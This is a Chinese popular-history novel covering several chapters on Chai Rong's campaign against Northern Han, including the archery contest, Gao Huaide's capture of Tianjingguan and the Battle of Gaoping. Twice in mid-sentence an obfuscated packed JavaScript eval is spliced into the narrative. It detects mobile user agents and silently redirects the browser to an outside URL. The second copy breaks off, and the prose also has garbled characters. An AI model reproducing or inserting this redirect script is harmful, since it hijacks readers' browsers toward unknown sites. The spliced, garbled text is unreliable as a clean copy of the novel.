北汉兵趁势追杀,潞州兵死了大半,剩下的残兵拼命往城里跑,赶紧把城门关了。李筠听说穆令均战死,又丢了好多士兵,急得直跺脚,赶紧让牙将刘瑗、王真守住城池,自己写了封告急信,派快马连夜送往京城。 柴荣接到告急信,气得把信往地上一摔:“刘崇这贼子,趁朕刚登基就来犯境,朕一定要亲自去收拾他!”大臣们赶紧劝:“陛下,刘崇跟契丹联手,兵力强盛,您刚即位,人心还没稳定,不用亲自去,派个大将去救援就行了。”柴荣摇摇头:“不行,刘崇以为朕年轻好欺负,朕要是不去,他更会得寸进尺。” 太师冯道站出来,拱着手说:“陛下,千金之子坐不垂堂,您是万乘之尊,怎么能去危险的地方呢?”柴荣看着冯道,语气坚定地说:“唐太宗当年打天下,每次打仗都亲自去,朕为什么不能学他?”冯道还想劝:“可陛下能跟唐太宗比吗?”柴荣知道冯道是老臣,不想跟他争辩,只是笑了笑。这时枢密使王朴站出来说:“陛下说得对,亲征能鼓舞士气,臣支持陛下。” 赵匡胤也上前一步:“陛下,现在将士们刚经历换君,有些老兵还没适应,再说河东的兵正势头猛,咱们不能硬拼。不如先在教场演武,选个勇猛的人当先锋,这样才能打胜仗。”柴荣点点头:“二御弟说得对,就这么办。”当即下旨,第二天在教场比武选先锋。 第二天一早,柴荣亲自来到教场,坐在演武厅的龙椅上。赵匡胤上前说:“斩将杀敌,靠的是勇气,要分高下,射箭最能看出本事。陛下不如让将士们比射箭,箭法最好的当正先锋,力气大的当副先锋。”柴荣同意了,让人在教场中间立了个靶子,下令让将士们轮流射箭。 左边队伍里突然走出一个人,面如傅粉,唇红齿白,正是驸马张永德。他走到厅前,拱手说:“臣愿先试试。”说完翻身上马,左手拿弓,右手搭箭,在教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519312|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场里跑了一圈,对准靶子“嗖”的一箭射了过去,正好射中红心。接着又射了两箭,全中红心。周围的士兵都欢呼起来,鼓声震天。张永德下了马,走到柴荣面前,等着领先锋印。 柴荣正想让人拿印,右边队伍里突然冲出来一个人,嗓门跟打雷似的:“先锋印不能给他,俺还没比呢!”众人一看,是郑恩。郑恩走到柴荣面前,磕了个头:“陛下,俺最近学了弓马,现在就给您露一手,跟驸马比个高低。”柴荣心里暗笑:这郑恩以前连弓都拉不开,现在还敢跟张永德比,正好看看他的本事。就传旨让他比。 郑恩高兴地跳上马,拿起弓,深吸一口气,搭箭拉弓,“嗖”“嗖”“嗖”三箭射出去,全中红心。士兵们的欢呼声比刚才还大,鼓声都快震破耳朵了。张永德气得脸都红了,指着郑恩说:“你箭法好又怎么样,敢跟俺比力气吗?”郑恩也不服气:“比就比,谁怕你!”两人都翻身上马,拿着兵器就要动手。 赵匡胤一看不好,赶紧在演武厅上喊:“两位住手!先听朕(赵匡胤一时口快,赶紧改过来)听陛下旨意,自有定论!”两人听了,只好勒住马,等着柴荣说话。赵匡胤赶紧走到柴荣身边,小声说:“陛下,张永德是您的驸马,郑恩是臣的义弟,要是他们打起来,肯定会有人受伤。教场下面有个石狮子,重约千斤,不如让他们谁能把石狮子举上厅再放下来,谁就当先锋,这样不用动手也能分高下。” 柴荣觉得这主意好,当即下旨。两人下了马,走到石狮子旁边。那石狮子有五尺高,底座埋在地下七尺,看着就沉。张永德撩起衣服,蹲下身子,双手抱住石狮子的腿,使劲往上一提,脸憋得通红,好不容易才把石狮子举起来,慢慢放到演武厅上,又咬着牙抱下来放回原处,站在那里大口喘气,汗顺着脸往下流。 郑恩拍了拍张永德的肩膀:“该俺了!”他也蹲下身子,双手抓住石狮子,深吸一口气,猛地一用力,把石狮子举了起来,跟张永德一样,举上厅又放下来,也累得直喘气。士兵们看得眼睛都直了,不停地欢呼。 就在这时,教场边突然走出一个年轻汉子,头戴白色武巾,身穿素色箭服,个子高高的,看着很精神。他走到石狮子旁边,没说话,双手一抱,就把石狮子举了起来,还慢慢在教场里走了一圈,才轻轻放回原处,脸不红气不喘。士兵们都看呆了,过了好一会儿才反应过来,大声喊:“这才是真将军啊!” 赵匡胤也觉得这人不一般,让人把他叫过来,问他叫什么名字。那汉子拱了拱手:“小人姓高,名怀德,是高行周的长子。俺父亲去世后,俺就流落江湖,住在这附近。听说陛下游武选先锋,就来试试,想当个小兵,也能了却俺父亲生前报国的心愿。” 赵匡胤心里一惊:高行周是先帝的仇人,柴荣会不会杀他?可高怀德这么勇猛,要是放他走了,去了别的国家,肯定是个大麻烦。他赶紧走到柴荣身边,把高怀德的情况说了。柴荣一听是高行周的儿子,顿时火了:“好个贼子,还敢来见朕,来人,把他拉下去斩了!” 赵匡胤赶紧跪下:“陛下,不能杀他!刑罚要公平,罪人不能牵连子女。高行周得罪了先帝,可他已经死了,恩怨也该了了。高怀德没做错事,您要是杀了他,天下英雄都会觉得您容不下人,谁还会来帮您打天下?现在正是用人的时候,千军易得一将难求,高怀德这么勇猛,您要是重用他,他肯定会拼死立功的。” 柴荣听了,心里琢磨了一会儿,觉得赵匡胤说得有道理,脸色慢慢缓和下来,对高怀德说:“朕跟你父亲有仇,本想杀了你,可朕不能因为私人恩怨误了国家大事。你既然说自己会武艺,再给朕试试射箭。”高怀德赶紧答应,柴荣让人给了他一匹马、一张弓和一壶箭。 高怀德翻身上马,在教场里跑了一圈,拉弓射箭,三箭全中红心。柴荣高兴得拍着桌子:“好!朕封你为御侍卫。”赵匡胤又说:“陛下,高怀德武艺这么好,当侍卫太可惜了。现在驸马和郑恩还在争先锋印,不如把先锋印给高怀德,将士们肯定没意见。您真心待他,他肯定不会辜负您。” 柴荣点点头,让人把先锋印给高怀德挂上,又赐了他金花和御酒。高怀德跪在地上,磕了三个头:“谢陛下恩典,小人一定拼死报国!” 第二天早朝,柴荣下旨让太后监国,命学士窦仪、平章范质帮忙处理朝政。封赵匡胤为亲军使,郑恩为副使,张永德为监军,王朴为军师。又封张光远、罗彦威、杜二公为节度使,让他们镇守地方,同时调禅州节度使史彦超、澶州节度使马全义、河南节度使刘词来京城,跟着自己亲征。董龙、董虎、李通、周霸也被封为偏将,跟着大军出征。至于苗光义,早就辞了官云游去了,没人知道他去了哪里。 一切安排好后,柴荣选了个吉利日子,带着十万大军出发。只见路上旌旗遮天蔽日,士兵们的刀枪闪着寒光,一个个精神抖擞,马跑得跟飞一样。大军过了孟津,往天井关赶去。先锋高怀德带着先头部队先到了天井关,在关下扎了营,准备攻城。 接下来,高怀德能不能拿下天井关?周军和北汉兵又会展开怎样的厮杀?咱们下回再说。 48. 第 48 章 话说周世宗柴荣,听说北汉君主刘崇勾结契丹人,举兵来侵犯中原,立刻召集大臣们在朝堂上商议对策。大臣们有的说“契丹兵强马壮,不如先守后攻”,有的说“刘崇趁我国根基未稳来犯,必须迎头痛击”,吵得不可开交。柴荣攥着龙椅扶手,眉头皱得紧紧的——他心里清楚,这时候退一步就是丢了中原的气势,当下一拍桌子:“朕要御驾亲征!谁敢来犯,朕就亲手打回去!” 旨意一下,满朝文武都不敢再劝。柴荣立刻点兵选将,让高怀德当先锋,带着本部精锐先去天井关;自己则和赵匡胤等人率领大军随后。这天井关是北汉的边境要地,地势险要,易守难攻。本来刘崇正带兵围着潞州打,柴荣却不直接去救潞州,反倒往天井关走——这是玩了一招“围魏救赵”:打天井关,就能断了刘崇的后路,潞州之围自然就解了。 消息很快传到天井关里。守关的将领叫李彦能,是北汉出了名的猛将,一杆熟铜枪使得出神入化,号称“万夫不当”。刘崇知道天井关重要,特意把他派来镇守。李彦能听说周军来了,气得把桌子拍得震天响:“柴荣小儿,刚占了中原就敢来捋我的虎须?看我不把他的先锋挑落马下!”当下点了三千士兵,打开关门就冲了出去。 高怀德早就在关下摆好了阵仗,见李彦能出来,眯着眼打量——这人生得凶神恶煞,头戴虎头盔,身披金锁甲,骑着一匹青鬃马,手里的熟铜枪闪着冷光,一看就不好对付。高怀德身边的副将陈继忠凑过来低声说:“将军,这李彦能在北汉打了十几年仗,硬拼怕是要吃亏。”高怀德却不动声色,扬声问道:“来将通名!我枪下不杀无名之鬼!” 李彦能勒住马,嗓子像打雷似的:“我是北汉王手下,镇守天井关的总兵李彦能!你们周军占了汉人的天下还不够,还敢来犯?今天就让你有来无回!”高怀德冷笑一声:“天下本就该归于一统,你们北汉抱着残山剩水不投降,反倒勾结契丹人祸乱中原,才是找死!识相的就献关投降,不然打破关口,连老百姓都要跟着遭殃!” 李彦能哪里听得进去,拍马挺枪就朝高怀德刺来。高怀德早有准备,举起长枪一架,“铛”的一声,火星子都溅了起来。两人你来我往,马跑起来像一阵风,枪杆撞在一起的声音在山谷里回荡。打了二十多个回合,高怀德越打越顺,枪法像蛟龙出海似的,招招都往李彦能的破绽里扎。李彦能一开始还能招架,后来手都麻了,心里暗叫不好:“这高怀德果然名不虚传,再打下去要栽!”又勉强撑了三回合,找了个空隙,拨马就往关里逃。 这时候赵匡胤的大军也到了,见李彦能败逃,立刻下令:“追!别让他跑回关里!”周军士兵像潮水似的冲上去,北汉兵死伤了一大半。李彦能拼了命才逃回关里,“哐当”一声关上大门,还让人用石头把城门堵死,心里突突直跳:“还好跑得快,不然今天就交代在这儿了。” 接下来十几天,赵匡胤天天派兵攻打天井关,可这关口城墙又高又厚,北汉兵在城上往下扔石头、射箭,周军攻了好几次都没攻下来。赵匡胤急得在营里转圈,高怀德见了,拉着他到帐里说:“将军,这天井关硬攻不行,得用巧劲。我想了个计策:我带两千士兵,埋伏在关旁的山林里;你带着大军假装撤退,就说要去泽州,还故意让北汉兵知道‘三天后再回来打’。李彦能肯定会放松警惕,到时候我趁机混进关里,保管能拿下关口。” 赵匡胤眼睛一亮:“先锋这计策妙啊!就这么办!”当天晚上,高怀德就带着陈继忠和两千士兵,悄悄摸到天井关旁边的山林里藏了起来——陈继忠还特意让士兵们换上老百姓的衣服,准备到时候混进城。 第二天一早,赵匡胤就下令撤军,士兵们慢悠悠地收拾营帐,故意把一些破旧的盔甲、兵器扔在营里,装作“仓皇撤退”的样子。李彦能在城楼上看得清清楚楚,心里犯嘀咕:“周军怎么突然撤了?不会是有诈吧?”立刻派了两个探子出城打探。探子跑了二十多里,见周军真的往泽州方向走了,还抓了个掉队的周军小兵问,小兵说“粮草不够,先去泽州补粮,三天后再来”。李彦能这才松了口气,拍着大腿笑:“我就说柴荣小儿没胆子!传令下去,让士兵们好好休息,老百姓也能出城砍柴、种地,别整天关在城里憋坏了!” 关里的老百姓早就断了柴火,一听能出城,第二天一早就扛着斧头、背着篮子往关门外涌。陈继忠混在老百姓里,趁机摸清楚了关里的布防——原来李彦能把大部分士兵都调到了东门,西门只有几十个老弱残兵看守。陈继忠悄悄退回去,把情况告诉了高怀德,高怀德心里有了底:“就等第三天了。” 第三天中午,突然有探子慌慌张张地跑回关里:“不好了!周军又回来了!离关口只有十里地了!”李彦能吓得一哆嗦,赶紧下令:“快让老百姓进城!关上大门!”老百姓本来在城外砍柴、种地,一听周军来了,吓得魂都没了,抱着柴火、扛着锄头就往关里挤,你推我搡,乱成一团。守门的士兵想盘查,可老百姓太多了,根本顾不过来——高怀德带着两千士兵,就混在这乱糟糟的人群里,悄悄进了关。 等老百姓都进了城,李彦能亲自登上城楼,刚要下令士兵准备防守,就见赵匡胤和史彦超带着周军冲到关前,赵匡胤指着城楼上的李彦能骂:“李彦能!你个缩头乌龟!再不献关,我打破关口,把你碎尸万段!”骂完就挥挥手,周军士兵扛着梯子就往城墙上爬。李彦能急得大喊:“扔石头!射箭!别让他们上来!”城上的北汉兵赶紧往下扔石头、射箭,周军暂时退了下去。 到了三更天,关后的西城门突然起了大火——是高怀德让士兵们放的。李彦能正在东城门指挥防守,听说西城门着火,心里一慌:“不好!周军从后面来了!”赶紧带着一千士兵往西门跑。刚跑到半路,左边突然冲出来一将,白袍白马,手里的长枪闪着寒光,正是高怀德!高怀德大喝一声:“李彦能!你往哪儿跑!”李彦能吓得赶紧举枪招架,可他刚才跑了一路,气都没喘匀,哪里是高怀德的对手?高怀德一□□中他的胸口,李彦能“啊”的一声,从马上摔了下来,当场断了气。 高怀德杀了李彦能,立刻让士兵们打开城门,把赵匡胤的大军放了进来。赵匡胤一进关,就立刻下令:“谁都不许抢老百姓的东西!谁敢违反,立斩不赦!”又让人贴出告示,安抚老百姓,还派士兵去救火。老百姓见周军不抢东西、还帮着救火,都高兴得拍手叫好。赵匡胤看着高怀德,心里暗暗佩服:“高老将军(高怀德父亲高行周)把他托付给我,果然没看错人!这次取关他立了头功,一定要好好赏他!” 第二天一早,周世宗柴荣的御驾到了天井关。大臣们和将领们都出城迎接,柴荣进了关,听赵匡胤把高怀德智取天井关的事说了一遍,笑得眼睛都眯了:“高怀德智勇双全,没费多少兵力就拿下了天井关,这是朕的福气啊!”当下赏了高怀德一百两黄金、五百匹绸缎,还封他为“殿前副都指挥使”。高怀德赶紧跪下谢恩,心里也暖暖的——他知道,这不仅是对他的奖赏,也是世宗对他父亲的认可。 柴荣在天井关歇了三天,查了查关里的仓库,让士兵们好好养马,然后下令:高怀德带前军先去怀州,赵匡胤带中军跟着,自己在后面压阵。没几天,大军就到了怀州城下。 怀州的守将叫张志忠,本来是中原人,当年北汉打过来的时候,他没办法才投降了北汉。听说天井关丢了,周军来了,张志忠整天坐立不安,晚上睡不着觉,就把儿子张信叫到身边:“儿啊,我本来是中原的臣子,投降北汉是没办法。现在周军来了,要是硬打,怀州的老百姓肯定要遭殃。不如我们投降吧,既能保住老百姓,也能回到中原的怀抱。”张信早就不想跟着北汉混了,赶紧点头:“爹,您说得对!我们投降周军,才是正道!” 第二天一早,张志忠就打开城门,带着张信和几个亲信,捧着怀州的地图和户籍,到周军大营投降。高怀德见他真心投降,就带着他去见赵匡胤。赵匡胤高兴得不得了,赶紧写了奏折,派人快马送给柴荣。柴荣听说张志忠投降,立刻下令:封张志忠为怀州团练,还是让他管怀州的军民,张信也封了个校尉。张志忠父子感激涕零,当场就表示要帮周军打北汉。 柴荣的大军在怀州歇了一天,正要继续前进,却出了个小插曲:指挥使赵晁私下里跟通事舍人郑好谦说:“北汉和契丹的兵加起来有十几万,我们才五万多人,要是硬拼,肯定要吃亏。陛下现在就急着前进,怕是不妥啊。”郑好谦是个老实人,觉得赵晁说的是实话,就跑去告诉了柴荣。 柴荣一听就火了,拍着桌子骂:“赵晁这小子!敢在这里胡说八道,扰乱军心!来人啊,把他拉出去斩了!”旁边的赵匡胤赶紧上前拦住:“陛下,赵晁说的是忠言啊!他虽然担心兵力不足,但也是为了大军着想。要是人人都像他这样敢说真话,陛下还有什么可担心的?求陛下饶他一命吧!”柴荣瞪了赵晁一眼,气呼呼地说:“看在匡胤的面子上,饶你一次!下次再敢乱说话,定斩不饶!”赵晁吓得赶紧跪下谢恩,心里也暗暗感激赵匡胤。 柴荣带着大军从怀州出发,日夜兼程,不到十天就到了泽州,下令扎营。这边的消息很快传到了北汉军营——刘崇本来正围着潞州打,可打了半个多月都没打下来,心里正烦,听说周军夺了天井关、怀州,还到了泽州,吓得赶紧把将领们叫过来商议。 契丹派来的将领耶律奇先开口:“周军虽然来得快,但他们一路行军,士兵肯定很疲惫。我们不如以逸待劳,等他们刚扎好营,就派兵从四面攻打,肯定能打赢!”刘崇觉得耶律奇说得对,立刻下令:北汉兵和契丹兵分开扎营,东边是北汉兵,西边是契丹兵,要是有紧急情况,互相支援。耶律奇领了命令,就回去安排了。 第二天一早,刘崇带着副枢密使王延嗣、先锋张元晖,在巴公原摆好了阵仗。他往周军阵前一看,见周军只有两三万人,心里乐了:“原来周军这么少!我本来还不该借契丹的兵,白白花了那么多钱!”旁边的谋士赵彦章赶紧劝:“陛下,周军虽然少,但看起来很整齐,肯定是精锐。我们不能轻敌啊!”刘崇瞪了他一眼:“你懂什么!今天我就让周军看看,我北汉的厉害!” 这时候,西边契丹军营的杨襄也看到了周军阵仗,觉得周军不好对付,就派偏将张威去见刘崇:“周军虽然人少,但气势很盛,大王还是小心点好,别轻易出兵。”刘崇本来就觉得借契丹兵丢了面子,听张威这么说,更生气了:“你们别在这里长他人志气,灭自己威风!今天我非要活捉柴荣,为我侄子(后汉隐帝刘承祐,被郭威所杀)报仇不可!” 正说着,突然刮起了东北风,风里夹着沙子,吹得人睁不开眼。没过多久,风向变了,改成了南风,直往北汉阵里吹。北汉的司天监李义赶紧跑过来:“陛下!这南风是帮我们的啊!现在出兵,肯定能打赢!”刘崇一听,更高兴了,刚要下令出兵,枢密使王得中赶紧拉住他的马:“陛下,这风不一定是帮我们!李义这是胡说八道,该斩!”刘崇不耐烦地推开他:“我已经决定了!你个老书生别在这里瞎掺和!再敢多说一句,先斩了你!”王得中没办法,只好低着头退了下去,心里暗暗叹气:“这下要糟了。” 刘崇刚要亲自出战,先锋张元晖赶紧上前:“陛下,让末将先去挫挫周军的锐气!”刘崇点点头:“好!你要是打赢了,朕重重有赏!”张元晖拍马舞刀,朝周军阵里冲去,嘴里还大喊:“周军谁敢来送死!” 周军阵里,中军使樊爱能提着长枪,催马冲了出来。两人马打盘旋,刀枪相撞,打了五十多个回合。樊爱能一开始还能招架,后来越打越吃力,枪法都乱了——他心里早就慌了,知道张元晖厉害,想赶紧退回去。旁边的步军使何徽见樊爱能要败,赶紧提着大斧冲过来帮忙:“樊将军,我来帮你!” 张元晖一对二,却一点都不害怕,刀舞得像车轮似的,逼得樊爱能和何徽连连后退。这时候,北汉阵里的元帅白从辉也提着刀冲了过来,朝着樊爱能就砍。樊爱能吓得魂都飞了,大喊一声:“不好!撤!”拨马就往周军阵里逃,何徽也跟着跑了。 刘崇见周军阵脚乱了,哈哈大笑:“周军果然不堪一击!兄弟们,冲啊!活捉柴荣!”北汉兵像潮水似的冲了上去,箭射得像下雨一样,石头也往下扔。周军士兵没了将领指挥,乱作一团,死伤了很多人。 柴荣在阵后看得清清楚楚,心里急得像火烧:“要是让北汉兵冲过来,就全完了!”当下拔出佩剑,大喊:“将士们!跟朕一起冲!谁都不许退!”说着就催马冲了上去,亲自督战。可北汉兵太多了,像泰山压卵似的朝周军冲来,周军还是抵挡不住。 赵匡胤见情况危急,拉着郑恩、高怀德等人说:“主上现在这么危险,正是我们报效国家的时候!今天要是输了,国家就完了!兄弟们,跟我冲!”郑恩早就憋了一肚子火,一听这话,提着大刀就喊:“谁要是怕死,就不是好汉!跟我上!”高怀德也点点头,举着长枪跟了上去。 北汉阵里的刘显、刘达见他们冲过来,赶紧催马迎战。郑恩对着刘显就砍,刘显举刀招架,可郑恩力气大,一刀就把刘显的刀劈断了,再一刀,就把刘显砍落马下。高怀德也不含糊,一□□中刘达的胸口,刘达当场就死了。周军士兵见将领们打赢了,也鼓起勇气,重新稳住了阵脚。 赵匡胤见阵脚稳了,心里松了口气,又对张永德说:“永德,我们带两千骑兵,从中间冲进去,打乱北汉的阵形!”张永德点点头,两人各带一千骑兵,像两把尖刀似的冲进了北汉阵里。赵匡胤一杆长枪,左挑右刺,北汉兵根本挡不住;张永德也不含糊,枪枪都往北汉兵的要害扎,两人带着骑兵,在北汉阵里杀得七进七出。 正好遇到刘崇带着人冲过来,赵匡胤、张永德立刻围了上去。三个人打了五十多个回合,张永德瞅准机会,一□□中刘崇的左肩。刘崇疼得大叫一声,拨马就逃:“快撤!快撤!”北汉兵见主帅跑了,也跟着逃,周军趁机掩杀,北汉兵像被风吹走的落叶、被雨打坏的残花一样,到处乱跑。 周军左翼的马瑀见北汉阵形乱了,提着大刀冲了进去,正好遇到张元晖。张元晖刚才杀了不少周军,正得意,见马瑀冲过来,提着刀就迎上去。两人打了四十多个回合,张元晖力气快用完了,拨马就逃。马瑀哪里肯放,从背上取下弓箭,拉满弓弦,“嗖”的一声,正好射中张元晖的马。那马疼得跳了起来,把张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刚走了没几里,就遇到一万多北汉兵挡住了去路。刘词大喊:“将士们!跟我冲!杀了这些北汉兵,去救陛下!”周军士兵士气大振,挥舞着刀枪冲了上去。这时候天快黑了,南风刮得更猛,北汉兵本来就没了斗志,哪里挡得住刘词的后军?没一会儿就被杀得大败,剩下的北汉兵只好爬山越岭逃跑。 刘词正追着,突然见山坡后面冲出来一队人马,为首的正是赵匡胤——他追杀刘崇,正好遇到刘词。两人合兵一处,继续追杀北汉兵,一直追过了南平,才停下来。这时候战场上到处都是尸体,血流成河,北汉兵丢下的粮草、兵器堆得像小山一样。赵匡胤看着这惨烈的景象,心里暗暗叹气:“打仗真是太苦了,要是能早点统一中原,老百姓就不用遭这份罪了。” 当天晚上,柴荣就在野外扎营。第二天一早,将领们都来汇报战功。柴荣让人去查,发现樊爱能和何徽手下的士兵,有不少投降了北汉,当下下令:“把那些投降北汉的士兵,全部斩了!”又让人去叫潞州的守将李筠——李筠本来是北汉的将领,见周世宗打赢了,赶紧带着手下的将领出城迎接。柴荣进了潞州,安抚了李筠一番,就让士兵们好好休息,还摆了庆功宴,赏赐将领们。 庆功宴上,柴荣突然问:“刘崇跑了没多久,谁愿意带兵去追?”赵匡胤立刻站起来:“臣愿意去!”柴荣高兴地说:“好!那你就和郑恩、高怀德一起,带三千骑兵去追!”赵匡胤领了命令,带着郑恩、高怀德就出发了。 再说刘崇,带着白从辉和几十个残兵,日夜兼程地逃跑。这些北汉兵自从高平战败后,早就吓破了胆,走一步都怕。这天到了一座山下,士兵们又饿又累,刘崇只好让人停下来,埋锅造饭。刚把饭做好,正要吃,突然见远处扬起一阵尘土——周军追来了!北汉兵吓得连饭都顾不上吃,扔下碗筷就跑,跑得腿都软了,嘴里还不停地喊:“周军来了!快跑啊!” 赵匡胤追了二百多里,见刘崇跑远了,再追也追不上了,只好带着人马回去。柴荣见没追上刘崇,有点可惜:“要是能活捉刘崇,就能一举灭了北汉了。” 这时候,樊爱能和何徽低着头,跪在柴荣面前,哭着说:“陛下,我们不是故意逃跑的,是北汉兵太多了,我们实在打不过啊!求陛下饶我们一命吧!”柴荣看着他们,心里有点犹豫:樊爱能和何徽虽然打了败仗,但也是跟着自己多年的将领,杀了他们,会不会让其他将领寒心? 旁边的张永德看出了柴荣的心思,上前说:“陛下,樊爱能和何徽虽然跟着您多年,但他们望敌而逃,还杀了使者、骗刘词撤退,罪大恶极,就算死一万次都不够!现在陛下要平定天下,要是不严明军纪,就算有再多的猛将、再多的士兵,也没用啊!” 柴荣听了,点了点头:“你说得对!军纪不严,军队就没战斗力!”当下站起来,指着樊爱能和何徽骂:“你们遇到敌人就跑,还散布谣言、抢老百姓的东西、杀朕的使者、骗刘词撤退,你们不是打不过,是想把朕卖给刘崇!来人啊,把他们拉出去斩了!” 士兵们立刻把樊爱能和何徽拉了出去,斩了之后,把他们的头挂在营门口示众。其他将领见了,都吓得心里一哆嗦,知道柴荣这次是来真的,以后再也不敢随便违反军纪了。 处理完樊爱能和何徽,柴荣又开始赏赐有功的将领。张永德说:“陛下,赵匡胤智勇双全,为了国家不顾自己的性命,高平之战要是没有他,我们早就输了。您应该给他重赏,让其他将领都向他学习!”柴荣点点头:“朕早就想好了!赵匡胤听封:朕封你为殿前都虞候!” 赵匡胤赶紧跪下:“陛下,高平之战能打赢,都是各位将领和士兵们的功劳,臣不敢独自受赏!”柴荣笑着说:“你的功劳,朕记在心里,不用推辞!其他将领,朕也会赏的。”当下又下令:封张永德、郑恩、高怀德、刘词、马全义、史彦超等十几人为侯;董龙、董虎、李通、周霸等人升为副军使;还把赵晁叫过来,赏了他一百两银子,说:“上次你说的是忠言,朕赏你,以后有话就直说!” 将领们都跪下谢恩,齐声喊:“陛下万岁万岁万万岁!” 庆功宴结束后,柴荣又把将领们叫过来,说:“现在刘崇大败,我们不如乘胜进攻河东,一举灭了北汉!”军师王朴赶紧上前劝:“陛下,您现在军威正盛,刘崇已经吓破了胆,不敢再来犯了。我们应该用恩德安抚老百姓,北汉那么小,肯定会投降的。何必再派兵远征,让您和士兵们再受苦呢?再说现在北汉兵虽然败了,但河东的城池还很坚固,我们粮草也不够,不如等明年粮食丰收了,再去攻打也不晚啊!” 柴荣摇摇头:“先生只知其一,不知其二。军队容易调动,却很难长期保持士气。现在刘崇大败,我们要是不趁机灭了他,等他恢复了实力,再勾结契丹来犯,到时候再出兵就难了!朕已经决定了,先生就不用劝了。”王朴见柴荣不听,只好退了下去,心里暗暗叹气:“陛下太急了,怕是要吃亏啊。” 柴荣见王朴不说话,就召来岳元福和符彦卿:“你们是朝中的老将军,懂兵法。现在朕让你们带三万士兵,先去河东城下,摆好阵仗,让北汉兵看看我们的威风,等朕到了,再商量怎么攻城。”岳元福和符彦卿领了命令,带着士兵就出发了。 柴荣又下令:让李筠继续镇守潞州;自己则和赵匡胤、刘词、王朴等人,率领大军随后跟进。五月的时候,柴荣的御驾从潞州出发,直奔北汉的都城晋阳,心里只有一个念头:一定要打下晋阳,统一中原! 这一去,柴荣要亲自冲在战场上,和北汉兵拼命;赵匡胤也要继续立战功,为以后的大业打下基础。到底晋阳能不能打下来?柴荣和赵匡胤又会遇到什么困难?咱们下回再说。 49. 第 49 章 咱们再说说北汉那边。北汉皇帝刘崇在高平打了败仗,灰头土脸地逃回晋阳后,没敢歇着——他一面把逃回来的士兵收拢起来,一面赶紧修补盔甲、打造兵器,又让人把城墙加高加厚,生怕周军打过来。之前跟着他打仗的辽将耶律奇和杨襄,也从忻州撤回了晋阳。刘崇心里清楚,就凭北汉这点兵力,根本挡不住周军,只能向契丹求救。他琢磨了半天,决定派王得中护送耶律奇、杨襄回契丹,顺便向契丹主求援。 王得中领了命令,跟着耶律奇、杨襄一路往北走,好不容易到了契丹都城。见到契丹主后,他赶紧把高平之战的惨状说了一遍,又哽咽着说:“我家陛下差点丢了性命,如今晋阳危急,还请大王赶紧派援兵过去,帮我们报仇啊!”契丹主听了,连连叹气:“要是当年赵延寿还在,咱们怎么会吃这么大的亏!”他转头看向杨襄,气不打一处来,厉声骂道:“你是先锋,居然眼睁睁看着战事失败,还有脸回来?”杨襄被骂得哑口无言,一句话也说不出来。契丹主当即下令,把杨襄关进大牢,然后对王得中说:“你先回去告诉刘崇,我会亲自带兵去救他。”王得中连忙谢过契丹主,急匆匆往晋阳赶。 可他没想到,刚走到半路,就被周军的伏兵逮住了。士兵们把他押到柴荣面前,柴荣倒没为难他,让人解开他的绑绳,还端来酒肉让他压惊。柴荣笑着问:“你去契丹求救,应该知道他们什么时候会派兵来吧?”王得中捧着酒碗,手指微微发颤——他心里清楚,要是说了实话,周军肯定会在险要的地方设伏,到时候契丹援兵过不来,晋阳就彻底完了。他定了定神,装作不知情的样子说:“我只是奉命送耶律奇、杨襄回契丹,至于援兵的事,我真不知道。” 柴荣没再多问,让士兵把他带到另外的营帐休息。当天晚上,一个周军偏将悄悄找到王得中,劝他说:“陛下待你不薄,你要是说实话,将来肯定有好日子过。要是契丹兵真的来了,你又没提前说,到时候怎么保全自己啊?”王得中听完,长长地叹了口气,眼里泛起了泪光:“我吃北汉的俸禄这么多年,家里还有老母亲在晋阳。要是我说了实话,周军设伏挡住契丹兵,北汉就会亡国,我怎么能做这种对不起国家、对不起母亲的事?与其苟活,不如死了保全名节。”那天夜里,王得中在营帐里找了根绳子,自缢身亡。 第二天一早,士兵发现后赶紧报告柴荣。柴荣听说后,心里也挺不是滋味,感慨道:“真是个忠臣啊!”他下令让士兵找块好地方,把王得中厚葬了,还在墓碑上刻了“北汉忠义王得中之墓”几个字。 可没等柴荣平复心情,就有探马来报:“契丹主亲自带兵从忻州过来了,兵力强盛,来势汹汹!”柴荣立刻召集众将开会,说:“刘崇现在就指望契丹援兵,想前后夹击咱们。谁愿意带兵先去打退契丹兵?只要把契丹兵打败,刘崇就好对付了!”话音刚落,帐下就有一员大将站了出来,大声说:“末将愿意去!”柴荣一看,正是大将史彦超。柴荣大喜,当即下令,让史彦超带着自己的部下,跟先锋符彦卿合兵一处,去抵挡契丹兵。 史彦超和符彦卿领了命令,带着大军直奔忻州。契丹主也先(这里指契丹领兵主帅,非后来的瓦剌也先)听说周军来了,赶紧排开阵势迎战。符彦卿拍马上前,对着也先喊道:“上次高平之战,刘崇被我们打得抱头鼠窜,你契丹当时怎么不来救他?现在我们大军到了,你居然还敢来送死!”也先被骂得火冒三丈,指着符彦卿骂道:“你这不知死活的家伙,少废话,今天我非要取你的性命!”说完,他拍马挥刀,朝着符彦卿冲了过来。 符彦卿正准备应战,身后的史彦超却先忍不住了——他早就想跟辽兵好好打一场,立个大功。史彦超大喝一声:“别逞能,我来会你!”说着,他催马挺枪,迎上也先。两人在阵前你来我往,打得不可开交。史彦超的枪又快又准,好几次都差点刺中也先;也先的刀也不含糊,劈砍之间带着风声,逼得史彦超连连躲闪。就这样打了五十多个回合,也先渐渐体力不支,心里琢磨着“这样硬拼下去不是办法,得想个计”。他故意卖了个破绽,拨转马头,假装败退,往自己的阵中跑。 